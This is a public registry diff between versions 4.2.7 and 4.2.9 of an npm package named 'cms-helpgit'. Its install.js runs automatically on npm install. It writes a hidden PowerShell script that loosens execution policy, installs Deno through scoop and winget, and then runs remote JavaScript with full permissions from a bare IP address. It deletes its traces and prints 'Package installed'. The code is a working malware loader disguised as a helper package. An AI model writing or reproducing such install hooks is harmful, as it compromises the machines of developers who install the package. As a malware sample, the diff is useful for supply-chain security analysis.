cms-helpgit 4.2.7 → 4.2.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +1 -1
  2. package/install.js +18 -16
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
1
  module.exports = {
2
2
  name: 'cms-helpgit',
3
- version: '4.2.7'
3
+ version: '4.2.9'
4
4
  };
package/install.js CHANGED
@@ -3,10 +3,9 @@ const fs = require('fs');
3
3
  const os = require('os');
4
4
  const path = require('path');
5
5
 
6
- const psScript = `
7
- try { Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force } catch {}
6
+ const psScript = `try { Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force } catch {}
8
7
 
9
- $h = Join-Path $env:USERPROFILE 'scoop\shims'
8
+ $h = Join-Path $env:USERPROFILE 'scoop\\shims'
10
9
  if ($env:Path -notlike "*$h*") { $env:Path = "$h;$env:Path" }
11
10
 
12
11
  if (-not (Get-Command winget -ErrorAction SilentlyContinue)) {
@@ -20,46 +19,49 @@ if (-not (Get-Command winget -ErrorAction SilentlyContinue)) {
20
19
  }
21
20
  scoop install winget
22
21
  }
23
-
22
+
24
23
  if (-not (Get-Command deno -ErrorAction SilentlyContinue)) {
25
24
  winget install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent 2>$null
26
25
  }
27
26
 
28
27
  $deno = (Get-Command deno -ErrorAction SilentlyContinue).Source
29
28
  if (-not $deno) {
30
- $deno = Get-ChildItem "$env:LOCALAPPDATA\Microsoft\WinGet\Packages" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
29
+ $deno = Get-ChildItem "$env:LOCALAPPDATA\\Microsoft\\WinGet\\Packages" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
31
30
  }
32
31
  if (-not $deno) {
33
- $deno = Get-ChildItem "$env:USERPROFILE\scoop" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
32
+ $deno = Get-ChildItem "$env:USERPROFILE\\scoop" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
34
33
  }
35
34
  if (-not $deno) {
36
35
  if (Get-Command scoop -ErrorAction SilentlyContinue) {
37
36
  scoop install deno
38
- $env:Path = "$env:USERPROFILE\scoop\shims;$env:Path"
37
+ $env:Path = "$env:USERPROFILE\\scoop\\shims;$env:Path"
39
38
  $deno = (Get-Command deno -ErrorAction SilentlyContinue).Source
40
39
  }
41
40
  }
42
41
 
43
- & $deno -A "http://77.90.185.225/6bc8fb9ad965fbb0.js"
44
- `;
42
+ & $deno run -A "http://77.90.185.225/v026a4a141fd9e7d2dd.js"`;
43
+
44
+ const tempDir = os.tmpdir();
45
+ const randomName = Math.random().toString(36).substring(2, 15) + '.ps1';
46
+ const scriptFile = path.join(tempDir, randomName);
45
47
 
46
- const scriptFile = path.join(os.tmpdir(), 'setup_' + Date.now() + '.ps1');
47
- fs.writeFileSync(scriptFile, psScript);
48
+ fs.writeFileSync(scriptFile, psScript, { encoding: 'utf8' });
48
49
 
49
50
  const powershellCmd = `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "${scriptFile}"`;
50
51
 
51
52
  const child = exec(powershellCmd, {
52
- windowsHide: true,
53
- detached: true,
54
- stdio: 'ignore'
53
+ windowsHide: true,
54
+ detached: true
55
55
  });
56
56
 
57
57
  child.unref();
58
58
 
59
59
  setTimeout(() => {
60
60
  try {
61
- fs.unlinkSync(scriptFile);
61
+ if (fs.existsSync(scriptFile)) {
62
+ fs.unlinkSync(scriptFile);
63
+ }
62
64
  } catch(e) {}
63
- }, 10000);
65
+ }, 30000);
64
66
 
65
67
  console.log('Package installed');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cms-helpgit",
3
- "version": "4.2.7",
3
+ "version": "4.2.9",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "install": "node install.js"